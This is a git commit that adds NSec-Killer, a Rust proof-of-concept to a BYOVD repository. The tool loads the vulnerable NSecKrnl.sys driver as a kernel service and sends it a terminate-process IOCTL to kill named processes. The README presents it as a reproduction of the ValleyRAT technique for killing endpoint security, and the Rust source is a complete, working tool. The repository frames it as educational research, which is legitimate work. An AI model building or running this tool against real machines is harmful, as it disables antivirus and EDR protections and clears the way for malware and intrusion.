NSec-Killer

This commit is contained in:
BlackSnufkin
2025-10-15 03:19:01 -07:00
parent e6851e5257
commit 7ef7a6c99b
7 changed files with 529 additions and 5 deletions
+1
View File
@@ -0,0 +1 @@
/target
+108
View File
@@ -0,0 +1,108 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "NSec-Killer"
version = "0.1.0"
dependencies = [
"clap",
"ctrlc",
"winapi",
]
[[package]]
name = "bitflags"
version = "2.9.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2261d10cca569e4643e526d8dc2e62e433cc8aba21ab764233731f8d369bf394"
[[package]]
name = "cfg-if"
version = "1.0.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2fd1289c04a9ea8cb22300a459a72a385d7c73d3259e2ed7dcb2af674838cfa9"
[[package]]
name = "cfg_aliases"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
[[package]]
name = "clap"
version = "0.5.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "355a56d87036876f7698c15856bf7c69850e5738f6b51793de9e022e26778f0c"
[[package]]
name = "ctrlc"
version = "3.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "881c5d0a13b2f1498e2306e82cbada78390e152d4b1378fb28a84f4dcd0dc4f3"
dependencies = [
"dispatch",
"nix",
"windows-sys",
]
[[package]]
name = "dispatch"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b"
[[package]]
name = "libc"
version = "0.2.177"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
[[package]]
name = "nix"
version = "0.30.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
dependencies = [
"bitflags",
"cfg-if",
"cfg_aliases",
"libc",
]
[[package]]
name = "winapi"
version = "0.3.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
dependencies = [
"winapi-i686-pc-windows-gnu",
"winapi-x86_64-pc-windows-gnu",
]
[[package]]
name = "winapi-i686-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
[[package]]
name = "winapi-x86_64-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]]
name = "windows-link"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-sys"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
dependencies = [
"windows-link",
]
@@ -1,9 +1,10 @@
[package]
name = "viragt64-Killer"
name = "NSec-Killer"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[profile.release]
opt-level = "z" # Optimize for size.
lto = true # Enable Link Time Optimization
@@ -13,4 +14,4 @@ strip = true # Automatically strip symbols from the binary.
[dependencies]
winapi = { version = "0.3.9", features = ["minwindef", "winnt", "minwinbase", "winsvc", "handleapi", "fileapi", "ioapiset", "processthreadsapi", "winerror", "processenv", "tlhelp32"] }
clap = "0.5.0"
ctrlc = "3.3"
ctrlc = "3.3"
Binary file not shown.
+39
View File
@@ -0,0 +1,39 @@
# NSec-Killer
- Reproduction ValleyRAT [BYOVD](https://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/)
- PoC for vulnerability in NSecKrnl driver from NSecSoft
- NSecKrnl.sys SHA256: `206F27AE820783B7755BCA89F83A0FE096DBB510018DD65B63FC80BD20C03261`
- The driver is **listed on [LOLDDrivers](https://www.loldrivers.io/)** but remains **absent** from [Microsoft's recommended driver block rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules) as of 2025-10-15
Usage:
To use NSec-Killer, you need to have the NSecKrnl.sys driver located at the same location as the executable
you will need to give it a process name
(the driver name must be NSecKrnl.sys so rename if needed)
```text
PS C:\Users\User\Desktop> .\NSec-Killer.exe -h
NSec-Killer.exe 1.0
BlackSnufkin
Kills a process by name using NSecKrnl driver
USAGE:
NSec-Killer.exe [FLAGS] [OPTIONS]
FLAGS:
-h, --help Prints help information
-v, --version Prints version information
OPTIONS:
-n, --name=process_name
```
Windows 11 Pro (Up to date)
+374
View File
@@ -0,0 +1,374 @@
#![allow(non_snake_case)]
use clap::{App, Arg};
use std::ffi::{CStr, OsStr};
use std::mem;
use std::os::windows::ffi::OsStrExt;
use std::ptr::null_mut;
use std::sync::Arc;
use std::sync::atomic::{AtomicBool, Ordering};
use std::thread;
use std::time::Duration;
use winapi::shared::minwindef::{DWORD, LPVOID};
use winapi::shared::winerror::NO_ERROR;
use winapi::um::fileapi::{CreateFileW, OPEN_EXISTING};
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::um::ioapiset::DeviceIoControl;
use winapi::um::processenv::GetCurrentDirectoryW;
use winapi::um::tlhelp32::{
CreateToolhelp32Snapshot, Process32First, Process32Next,
PROCESSENTRY32, TH32CS_SNAPPROCESS
};
use winapi::um::winnt::{
HANDLE, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, SERVICE_KERNEL_DRIVER
};
use winapi::um::winsvc::{
CloseServiceHandle, ControlService, CreateServiceW, DeleteService,
OpenSCManagerW, OpenServiceW, SC_HANDLE, SC_MANAGER_CREATE_SERVICE,
SERVICE_ALL_ACCESS, SERVICE_CONTROL_STOP, SERVICE_STATUS, SERVICE_STOPPED,
StartServiceW,
};
// ============================================================================
// Constants - NSecKrnl Driver Configuration
// ============================================================================
const DRIVER_NAME: &str = "NSecKrnl";
const DRIVER_FILE: &str = "\\NSecKrnl.sys";
const DEVICE_PATH: &str = "\\\\.\\NSecKrnl";
const IOCTL_TERMINATE_PROCESS: DWORD = 0x2248E0;
// ============================================================================
// Error Types
// ============================================================================
type Result<T> = std::result::Result<T, Box<dyn std::error::Error>>;
// ============================================================================
// RAII Handle Wrappers
// ============================================================================
struct ServiceHandle(SC_HANDLE);
impl ServiceHandle {
fn new(handle: SC_HANDLE) -> Result<Self> {
if handle.is_null() {
Err("Invalid service handle".into())
} else {
Ok(Self(handle))
}
}
fn as_raw(&self) -> SC_HANDLE {
self.0
}
}
impl Drop for ServiceHandle {
fn drop(&mut self) {
unsafe { CloseServiceHandle(self.0); }
}
}
struct FileHandle(HANDLE);
impl FileHandle {
fn new(handle: HANDLE) -> Result<Self> {
if handle == INVALID_HANDLE_VALUE {
Err("Invalid file handle".into())
} else {
Ok(Self(handle))
}
}
fn as_raw(&self) -> HANDLE {
self.0
}
}
impl Drop for FileHandle {
fn drop(&mut self) {
unsafe { CloseHandle(self.0); }
}
}
// ============================================================================
// Driver Manager
// ============================================================================
struct DriverManager {
_sc_manager: ServiceHandle,
service: ServiceHandle,
}
impl DriverManager {
fn new() -> Result<Self> {
println!("[*] Opening Service Control Manager");
let sc_manager = ServiceHandle::new(unsafe {
OpenSCManagerW(null_mut(), null_mut(), SC_MANAGER_CREATE_SERVICE)
})?;
let service = match ServiceHandle::new(unsafe {
OpenServiceW(sc_manager.as_raw(), to_wstring(DRIVER_NAME).as_ptr(), SERVICE_ALL_ACCESS)
}) {
Ok(service) => {
println!("[!] Service '{}' already exists", DRIVER_NAME);
service
}
Err(_) => {
println!("[*] Creating service '{}'", DRIVER_NAME);
Self::create_service(&sc_manager)?
}
};
Ok(Self {
_sc_manager: sc_manager,
service,
})
}
fn create_service(sc_manager: &ServiceHandle) -> Result<ServiceHandle> {
let current_dir = get_current_directory()?;
let driver_path = format!("{}{}", current_dir, DRIVER_FILE);
println!("[*] Driver path: {}", driver_path);
ServiceHandle::new(unsafe {
CreateServiceW(
sc_manager.as_raw(),
to_wstring(DRIVER_NAME).as_ptr(),
to_wstring(DRIVER_NAME).as_ptr(),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
to_wstring(&driver_path).as_ptr(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
)
})
}
fn start(&self) -> Result<()> {
println!("[*] Starting driver service");
let result = unsafe {
StartServiceW(self.service.as_raw(), 0, null_mut())
};
if result == 0 {
let error = std::io::Error::last_os_error();
// ERROR_SERVICE_ALREADY_RUNNING = 1056
if error.raw_os_error() == Some(1056) {
println!("[!] Driver already running");
return Ok(());
}
return Err(format!("Failed to start service: {}", error).into());
}
println!("[+] Driver started successfully");
Ok(())
}
fn stop(&self) -> Result<()> {
println!("[*] Stopping driver service");
let mut status = SERVICE_STATUS {
dwServiceType: 0,
dwCurrentState: SERVICE_STOPPED,
dwControlsAccepted: 0,
dwWin32ExitCode: NO_ERROR,
dwServiceSpecificExitCode: 0,
dwCheckPoint: 0,
dwWaitHint: 0,
};
unsafe {
ControlService(self.service.as_raw(), SERVICE_CONTROL_STOP, &mut status);
if DeleteService(self.service.as_raw()) != 0 {
println!("[+] Service marked for deletion");
} else {
println!("[!] Failed to delete service (may require reboot)");
}
}
Ok(())
}
}
// ============================================================================
// Process Terminator
// ============================================================================
struct ProcessTerminator {
driver_handle: FileHandle,
}
impl ProcessTerminator {
fn new() -> Result<Self> {
println!("[*] Opening driver device: {}", DEVICE_PATH);
let driver_handle = FileHandle::new(unsafe {
CreateFileW(
to_wstring(DEVICE_PATH).as_ptr(),
SERVICE_ALL_ACCESS,
0,
null_mut(),
OPEN_EXISTING,
0,
null_mut(),
)
})?;
println!("[+] Driver device opened successfully");
Ok(Self { driver_handle })
}
fn terminate_process(&self, pid: DWORD) {
let pid_qword: u64 = pid as u64;
let mut bytes_returned: DWORD = 0;
// Driver always returns error even on success - ignore return value
unsafe {
DeviceIoControl(
self.driver_handle.as_raw(),
IOCTL_TERMINATE_PROCESS,
&pid_qword as *const _ as LPVOID,
mem::size_of::<u64>() as DWORD,
null_mut(),
0,
&mut bytes_returned,
null_mut(),
);
}
}
}
// ============================================================================
// Process Enumeration
// ============================================================================
fn find_process_by_name(process_name: &str) -> Result<Option<DWORD>> {
let snapshot = FileHandle::new(unsafe {
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
})?;
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
if unsafe { Process32First(snapshot.as_raw(), &mut entry) } == 0 {
return Err("Failed to enumerate processes".into());
}
let target_name = process_name.to_lowercase();
loop {
let current_name = unsafe {
CStr::from_ptr(entry.szExeFile.as_ptr())
}
.to_string_lossy()
.to_lowercase();
if current_name == target_name {
return Ok(Some(entry.th32ProcessID));
}
if unsafe { Process32Next(snapshot.as_raw(), &mut entry) } == 0 {
break;
}
}
Ok(None)
}
// ============================================================================
// Utility Functions
// ============================================================================
fn to_wstring(s: &str) -> Vec<u16> {
OsStr::new(s)
.encode_wide()
.chain(Some(0))
.collect()
}
fn get_current_directory() -> Result<String> {
let mut buffer = vec![0u16; 260];
let length = unsafe {
GetCurrentDirectoryW(buffer.len() as u32, buffer.as_mut_ptr())
};
if length == 0 {
return Err("Failed to get current directory".into());
}
buffer.truncate(length as usize);
Ok(String::from_utf16_lossy(&buffer))
}
// ============================================================================
// Main
// ============================================================================
fn main() -> Result<()> {
let matches = App::new("NSecKrnl BYOVD Process Killer")
.version("1.0")
.author("BlackSnufkin")
.about("Kills a process by name using NSecKrnl driver")
.arg(Arg::new("process_name").short("n").long("name").takes_value(true))
.get_matches();
let process_name = matches.value_of("process_name").unwrap();
// Initialize driver
let driver_manager = DriverManager::new()?;
driver_manager.start()?;
// Open driver device
let terminator = ProcessTerminator::new()?;
// Setup Ctrl+C handler
let running = Arc::new(AtomicBool::new(true));
let running_clone = running.clone();
ctrlc::set_handler(move || {
println!("\n[!] Received shutdown signal");
running_clone.store(false, Ordering::SeqCst);
})?;
println!("[*] Monitoring for process: {} (Press Ctrl+C to stop)\n", process_name);
// Monitoring loop
while running.load(Ordering::SeqCst) {
if let Some(pid) = find_process_by_name(process_name)? {
// Send termination IOCTL (driver always returns error but may succeed)
let _ = terminator.terminate_process(pid);
// Wait a moment and verify if process actually terminated
thread::sleep(Duration::from_millis(100));
if find_process_by_name(process_name)?.is_none() {
println!("[+] Process {} terminated successfully", pid);
} else {
println!("[!] Process {} still running (may be protected)", pid);
}
}
thread::sleep(Duration::from_millis(700));
}
// Cleanup
println!("\n[*] Cleaning up...");
driver_manager.stop()?;
println!("[+] Shutdown complete");
Ok(())
}
+3 -2
View File
@@ -29,11 +29,12 @@ This repository contains several PoCs developed for educational purposes, helpin
Below are the drivers and their respective PoCs available in this repository:
- **[BdApiUtil-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/BdApiUtil-Killer)**: Targets `BdApiUtil64.sys` from `Baidu AntiVirus`.
- **[Ksapi64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer)**: Targets `ksapi64.sys` and `ksapi64_del.sys`.
- **[K7Terminator](https://github.com/BlackSnufkin/BYOVD/tree/main/K7Terminator)**: Targets `K7RKScan.sys` from `K7 Computing` [Full write-up](https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/).
- **[Ksapi64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer)**: Targets `ksapi64.sys` and `ksapi64_del.sys` from `Kingsoft Corporation`.
- **[NSec-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/NSec-Killer)**: Targets `NSecKrnl.sys` from `NSEC`
- **[TfSysMon-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer)**: Targets `sysmon.sys` from `ThreatFire System Monitor`.
- **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from `Tg Soft`.
- **[Wsftprm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Wsftprm-Killer)**: Targets `wsftprm.sys` from `Topaz Antifraud`.
- **[K7Terminator](https://github.com/BlackSnufkin/BYOVD/tree/main/K7Terminator)**: Targets `K7RKScan.sys` from `K7 Computing` [Full write-up](https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/).
## 🔬 Complete Driver Reverse Engineering Process (x64)